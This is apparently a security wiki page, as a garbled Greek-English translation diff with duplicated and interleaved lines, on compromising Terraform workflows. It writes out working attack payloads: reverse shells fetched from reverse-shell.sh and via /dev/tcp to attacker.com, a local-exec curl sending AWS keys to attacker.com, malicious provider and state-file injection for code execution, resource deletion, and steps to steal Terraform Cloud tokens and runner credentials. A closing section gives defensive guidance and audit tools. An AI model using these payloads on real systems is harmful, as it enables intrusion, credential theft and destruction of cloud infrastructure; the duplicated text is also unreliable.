Το Terraform δημιουργεί και διαχειρίζεται πόρους σε cloud πλατφόρμες και άλλες υπηρεσίες μέσω των APIs τους. Οι providers επιτρέπουν στο Terraform να δουλεύει με σχεδόν οποιαδήποτε πλατφόρμα ή υπηρεσία με προσβάσιμο API.
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
![](<../images/image (177).png>)
Η HashiCorp και η κοινότητα του Terraform έχουν ήδη γράψει περισσότερους από 1700 providers για να διαχειριστούν χιλιάδες διαφορετικούς τύπους πόρων και υπηρεσιών, και αυτός ο αριθμός συνεχίζει να αυξάνεται. Μπορείτε να βρείτε όλους τους δημόσια διαθέσιμους providers στο [Terraform Registry](https://registry.terraform.io/), συμπεριλαμβανομένων των Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, και πολλών άλλων.
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
Ο βασικός κύκλος εργασιών του Terraform αποτελείται από τρία στάδια:
The core Terraform workflow consists of three stages:
- **Write:** Ορίζετε πόρους, οι οποίοι μπορεί να βρίσκονται σε πολλαπλούς cloud providers και υπηρεσίες. Για παράδειγμα, μπορεί να δημιουργήσετε μια διαμόρφωση για την ανάπτυξη μιας εφαρμογής σε virtual machines μέσα σε ένα Virtual Private Cloud (VPC) με security groups και load balancer.
- **Plan:** Το Terraform δημιουργεί ένα execution plan που περιγράφει την υποδομή που θα δημιουργήσει, θα ενημερώσει ή θα καταστρέψει με βάση την υπάρχουσα υποδομή και τη διαμόρφωσή σας.
- **Apply:** Με έγκριση, το Terraform εκτελεί τις προτεινόμενες ενέργειες με τη σωστή σειρά, σεβόμενο τυχόν εξαρτήσεις πόρων. Για παράδειγμα, αν ενημερώσετε τις ιδιότητες ενός VPC και αλλάξετε τον αριθμό των virtual machines σε αυτό το VPC, το Terraform θα αναδημιουργήσει το VPC πριν κλιμακώσει τα virtual machines.
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
![](<../images/image (215).png>)
### Terraform Lab
Απλώς εγκαταστήστε το terraform στον υπολογιστή σας.
Just install terraform in your computer.
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
@@ -48,370 +48,404 @@ If you are able to compromise a terraform file there are different ways you can
### Terraform plan
Terraform plan είναι η **πιο χρησιμοποιούμενη εντολή** στο terraform και developers/solutions που χρησιμοποιούν terraform την καλούν συνεχώς, οπότε ο **πιο εύκολος τρόπος να πετύχετε RCE** είναι να διασφαλίσετε ότι θα μολύνετε (poison) ένα terraform config file που θα εκτελέσει arbitrary εντολές σε ένα `terraform plan`.
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
**Using an external provider**
Το Terraform προσφέρει τον [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ο οποίος παρέχει έναν τρόπο διεπαφής μεταξύ του Terraform και εξωτερικών προγραμμάτων. Μπορείτε να χρησιμοποιήσετε το `external` data source για να εκτελέσετε arbitrary code κατά τη διάρκεια ενός `plan`.
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Χρήση ενός custom provider**
Ένας επιτιθέμενος θα μπορούσε να ανεβάσει έναν [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) στο [Terraform Registry](https://registry.terraform.io/) και στη συνέχεια να τον προσθέσει στον κώδικα Terraform σε ένα feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
**Using a custom provider**
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
```
Ο provider κατεβαίνει στο `init` και θα τρέξει τον κακόβουλο κώδικα όταν εκτελεστεί το `plan`
Μπορείτε να βρείτε ένα παράδειγμα στο [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
**Χρήση εξωτερικής αναφοράς**
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
Και οι δύο αναφερθείσες επιλογές είναι χρήσιμες αλλά όχι πολύ διακριτικές (η δεύτερη είναι πιο διακριτική αλλά πιο περίπλοκη από την πρώτη). Μπορείτε να πραγματοποιήσετε αυτή την επίθεση με ακόμα πιο **διακριτικό** τρόπο, ακολουθώντας τις παρακάτω προτάσεις:
**Using an external reference**
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
- Αντί να προσθέσετε το rev shell απευθείας στο αρχείο terraform, μπορείτε να **φορτώσετε έναν εξωτερικό πόρο** που περιέχει το rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- Στο εξωτερικό resource, χρησιμοποιήστε τη δυνατότητα **ref** για να κρύψετε το **terraform rev shell code in a branch** μέσα στο repo, κάτι σαν: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply θα εκτελεστεί για να εφαρμόσει όλες τις αλλαγές — μπορείτε επίσης να το καταχραστείτε για να αποκτήσετε RCE εισάγοντας **ένα κακόβουλο αρχείο Terraform με** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Απλώς πρέπει να βεβαιωθείτε ότι κάποιο payload όπως τα παρακάτω καταλήγει στο αρχείο `main.tf`:
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Ακολούθησε τις **προτάσεις από την προηγούμενη τεχνική** για να πραγματοποιήσεις αυτή την επίθεση με πιο **διακριτικό τρόπο χρησιμοποιώντας εξωτερικές αναφορές**.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
## Secrets Dumps
Μπορείς να κάνεις τις **τιμές μυστικών που χρησιμοποιεί το terraform να εξαχθούν** εκτελώντας `terraform apply` προσθέτοντας στο terraform αρχείο κάτι σαν:
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
## Κατάχρηση αρχείων state του Terraform
Σε περίπτωση που έχετε δικαίωμα εγγραφής πάνω σε αρχεία state του Terraform αλλά δεν μπορείτε να αλλάξετε τον κώδικα του Terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) δίνει μερικές ενδιαφέρουσες επιλογές για να αξιοποιήσετε το αρχείο. Ακόμη κι αν έχετε δικαίωμα εγγραφής στα config αρχεία, η χρήση του vector των state αρχείων είναι συχνά πολύ πιο ύπουλη, επειδή δεν αφήνετε ίχνη στο ιστορικό του `git`.
## Abusing Terraform State Files
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
### RCE in Terraform: config file poisoning
Είναι δυνατό να [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) και απλά να αντικαταστήσετε έναν από τους providers στο terraform state file με τον κακόβουλο ή να προσθέσετε ένα ψεύτικο resource που αναφέρεται στον κακόβουλο provider.
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
Ο provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) βασίζεται στην έρευνα και εξοπλίζει αυτήν την αρχή. Μπορείτε να προσθέσετε ένα ψεύτικο resource και να δηλώσετε την αυθαίρετη bash εντολή που θέλετε να εκτελεστεί στο attribute `command`. Όταν εκτελείται το `terraform` run, αυτό θα διαβαστεί και θα εκτελεστεί τόσο στο `terraform plan` όσο και στο `terraform apply`. Στην περίπτωση του `terraform apply`, το `terraform` θα διαγράψει το ψεύτικο resource από το state file μετά την εκτέλεση της εντολής σας, καθαρίζοντας πίσω τα ίχνη. Περισσότερες πληροφορίες και μια πλήρη demo υπάρχουν στο [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
Για να το χρησιμοποιήσετε απευθείας, απλώς συμπεριλάβετε το ακόλουθο σε οποιαδήποτε θέση του `resources` array και προσαρμόστε τα attributes `name` και `command`:
```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```
Τότε, μόλις εκτελεστεί το `terraform`, ο κώδικάς σας θα εκτελεστεί.
### Διαγραφή resources <a href="#deleting-resources" id="deleting-resources"></a>
Then, as soon as `terraform` gets executed, your code will run.
Υπάρχουν 2 τρόποι για να καταστρέψετε resources:
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
1. **Εισάγετε ένα resource με τυχαίο όνομα στο state file που δείχνει στο πραγματικό resource προς καταστροφή**
There are 2 ways to destroy resources:
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
Επειδή το `terraform` θα δει ότι το resource δεν θα έπρεπε να υπάρχει, θα το καταστρέψει (ακολουθώντας το πραγματικό resource ID που έχει υποδειχθεί). Παράδειγμα από την προηγούμενη σελίδα:
```json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Τροποποιήστε τον πόρο ώστε να διαγραφεί με τρόπο που δεν είναι δυνατή η ενημέρωσή του (οπότε θα διαγραφεί και θα δημιουργηθεί ξανά)**
Για ένα EC2 instance, η αλλαγή του τύπου του instance είναι αρκετή για να κάνει το terraform να το διαγράψει και να το δημιουργήσει ξανά.
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
### Αντικατάσταση του blacklisted provider
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
### Replace blacklisted provider
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
Σε περίπτωση που συναντήσετε κατάσταση όπου `hashicorp/external` έχει βρεθεί σε blacklisted, μπορείτε να επανα-υλοποιήσετε τον `external` provider κάνοντας τα εξής. Σημείωση: Χρησιμοποιούμε ένα fork του external provider που έχει δημοσιευτεί στο https://registry.terraform.io/providers/nazarewk/external/latest. Μπορείτε επίσης να δημοσιεύσετε το δικό σας fork ή επαν-υλοποίηση.
```terraform
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Τότε μπορείτε να χρησιμοποιήσετε `external` όπως συνήθως.
Then you can use `external` as per normal.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE and credential exfiltration
Αυτό το σενάριο εκμεταλλεύεται τους Terraform Cloud (TFC) runners κατά τη διάρκεια των speculative plans για να pivot στο target cloud account.
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
- Προϋποθέσεις:
- Κλέψτε ένα Terraform Cloud token από μια μηχανή προγραμματιστή. Το CLI αποθηκεύει tokens σε απλό κείμενο στο `~/.terraform.d/credentials.tfrc.json`.
- Το token πρέπει να έχει πρόσβαση στην target organization/workspace και τουλάχιστον την άδεια `plan`. Τα VCS-backed workspaces μπλοκάρουν το `apply` από το CLI, αλλά εξακολουθούν να επιτρέπουν speculative plans.
- Preconditions:
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
- Discover workspace and VCS settings via the TFC API:
- Εντοπίστε ρυθμίσεις workspace και VCS μέσω του TFC API:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Προκαλέστε εκτέλεση κώδικα κατά τη διάρκεια ενός speculative plan χρησιμοποιώντας το external data source και το Terraform Cloud "cloud" block για να στοχεύσετε το VCS-backed workspace:
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
program = ["bash", "./rsync.sh"]
}
```
Παράδειγμα rsync.sh για να αποκτήσετε ένα reverse shell στον TFC runner:
Example rsync.sh to obtain a reverse shell on the TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Εκτέλεσε ένα δοκιμαστικό σχέδιο για να εκτελέσεις το πρόγραμμα στον εφήμερο runner:
Run a speculative plan to execute the program on the ephemeral runner:
```bash
terraform init
terraform plan
```
- Καταγράψτε και εξάγετε τα εγχυμένα cloud credentials από τον runner. Κατά τη διάρκεια των runs, το TFC εγχέει provider credentials μέσω αρχείων και environment variables:
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Αναμενόμενα αρχεία στον working directory του runner:
- GCP:
- `tfc-google-application-credentials` (Διαμόρφωση JSON για Workload Identity Federation)
- `tfc-gcp-token` (βραχύβιο token πρόσβασης GCP)
- AWS:
- `tfc-aws-shared-config` (διαμόρφωση web identity/OIDC για ανάληψη ρόλου)
- `tfc-aws-token` (βραχύβιο token · κάποιοι οργανισμοί μπορεί να χρησιμοποιούν στατικά κλειδιά)
- Χρησιμοποίησε τα βραχύβια διαπιστευτήρια εκτός-καναλιού για να παρακάμψεις τα VCS gates:
Expected files on the runner working directory:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (short-lived GCP access token)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
- Use the short-lived credentials out-of-band to bypass VCS gates:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Με αυτά τα creds, οι επιτιθέμενοι μπορούν να δημιουργήσουν/τροποποιήσουν/καταστρέψουν πόρους απευθείας χρησιμοποιώντας native CLIs, παρακάμπτοντας PR-based workflows που μπλοκάρουν το `apply` μέσω VCS.
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
- Defensive guidance:
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Περιορίστε την άδεια `plan` σε ευαίσθητα VCS-backed workspaces όπου είναι εφικτό.
- Επιβάλετε provider/data source allowlists με Sentinel policies για να μπλοκάρετε `data "external"` ή άγνωστους providers. Δείτε τις οδηγίες της HashiCorp για provider filtering.
- Προτιμήστε OIDC/WIF αντί για στατικά cloud credentials· θεωρήστε τους runners ευαίσθητους. Παρακολουθήστε speculative plan runs και απρόσμενη egress.
- Ανιχνεύστε exfiltration των `tfc-*` credential artifacts και ειδοποιήστε για ύποπτη χρήση του `external` προγράμματος κατά τη διάρκεια των plans.
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
## Παραβίαση του Terraform Cloud
## Compromising Terraform Cloud
### Χρήση token
### Using a token
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Η κλοπή αυτού του token επιτρέπει σε έναν επιτιθέμενο να μιμηθεί τον χρήστη εντός του scope του token.
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the tokens scope.
Using this token it's possible to get the org/workspace with:
Χρησιμοποιώντας αυτό το token, είναι δυνατό να αποκτήσετε το org/workspace με:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Τότε είναι δυνατό να εκτελεστεί αυθαίρετος κώδικας χρησιμοποιώντας **`terraform plan`** όπως εξηγήθηκε στο προηγούμενο κεφάλαιο.
### Απόδραση στο cloud
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
Στη συνέχεια, αν ο runner βρίσκεται σε κάποιο cloud περιβάλλον, είναι δυνατό να αποκτηθεί ένα token του principal που είναι συνδεδεμένος με τον runner και να χρησιμοποιηθεί out of band.
### Escaping to the cloud
- **GCP files (παρόντα στον τρέχοντα working directory της εκτέλεσης)**
- `tfc-google-application-credentials` — JSON config για Workload Identity Federation (WIF) που λέει στο Google πώς να ανταλλάξει την εξωτερική ταυτότητα.
- `tfc-gcp-token` — βραχυπρόθεσμο (≈1 hour) GCP access token που αναφέρεται από το παραπάνω
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token` — shortlived (≈1 hour) GCP access token referenced by the above
- **AWS files**
- `tfc-aws-shared-config` — JSON για web identity federation/OIDC role assumption (προτιμώμενο σε σχέση με στατικά κλειδιά).
- `tfc-aws-token` — βραχυπρόθεσμο token, ή ενδεχομένως στατικά IAM keys εάν είναι λανθασμένα διαμορφωμένα.
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, or potentially static IAM keys if misconfigured.
## Εργαλεία Αυτόματου Ελέγχου
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Η Snyk προσφέρει μια ολοκληρωμένη λύση σάρωσης Infrastructure as Code (IaC) που εντοπίζει ευπάθειες και λανθασμένες διαμορφώσεις σε Terraform, CloudFormation, Kubernetes, και άλλες μορφές IaC.
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
- **Features:**
- Real-time scanning for security vulnerabilities and compliance issues.
- Integration with version control systems (GitHub, GitLab, Bitbucket).
- Automated fix pull requests.
- Detailed remediation advice.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
- **Χαρακτηριστικά:**
- Σάρωση σε πραγματικό χρόνο για ευπάθειες ασφάλειας και ζητήματα συμμόρφωσης.
- Ενσωμάτωση με συστήματα ελέγχου έκδοσης (GitHub, GitLab, Bitbucket).
- Αυτοματοποιημένα pull requests επιδιόρθωσης.
- Λεπτομερείς συμβουλές αποκατάστασης.
- **Εγγραφή:** Δημιουργήστε έναν λογαριασμό στο [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** είναι ένα εργαλείο στατικής ανάλυσης κώδικα για infrastructure as code (IaC) και επίσης ένα εργαλείο software composition analysis (SCA) για εικόνες και πακέτα ανοιχτού κώδικα.
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
Σαρώνει υποδομές cloud που παρέχονται χρησιμοποιώντας [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) και ανιχνεύει σφάλματα διαμόρφωσης που αφορούν την ασφάλεια και τη συμμόρφωση χρησιμοποιώντας graph-based scanning.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
Εκτελεί [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) το οποίο είναι σάρωση πακέτων ανοιχτού κώδικα και εικόνων για Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` είναι ένα ελαφρύ πλαίσιο δοκιμών εστιασμένο στην ασφάλεια και τη συμμόρφωση για το terraform, που επιτρέπει τη δυνατότητα αρνητικής δοκιμής για την υποδομή-ως-κώδικα σας.
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
- **compliance:** Διασφαλίζει ότι ο υλοποιημένος κώδικας ακολουθεί πρότυπα ασφάλειας και τα δικά σας προσαρμοσμένα πρότυπα
- **behaviour driven development:** Έχουμε BDD για σχεδόν τα πάντα, γιατί όχι και για IaC ;
- **portable:** απλώς εγκαταστήστε το από `pip` ή τρέξτε το μέσω `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** επικυρώνει τον κώδικά σας πριν αναπτυχθεί
- **easy to integrate:** μπορεί να τρέξει στο pipeline σας (ή σε git hooks) για να διασφαλίσει ότι όλες οι αναπτύξεις είναι επικυρωμένες.
- **segregation of duty:** μπορείτε να κρατήσετε τα tests σας σε διαφορετικό repository όπου μια ξεχωριστή ομάδα είναι υπεύθυνη.
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** it validates your code before it is deployed
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
> [!NOTE]
> Δυστυχώς, εάν ο κώδικας χρησιμοποιεί κάποιους providers στους οποίους δεν έχετε πρόσβαση, δεν θα μπορείτε να εκτελέσετε το `terraform plan` και να τρέξετε αυτό το εργαλείο.
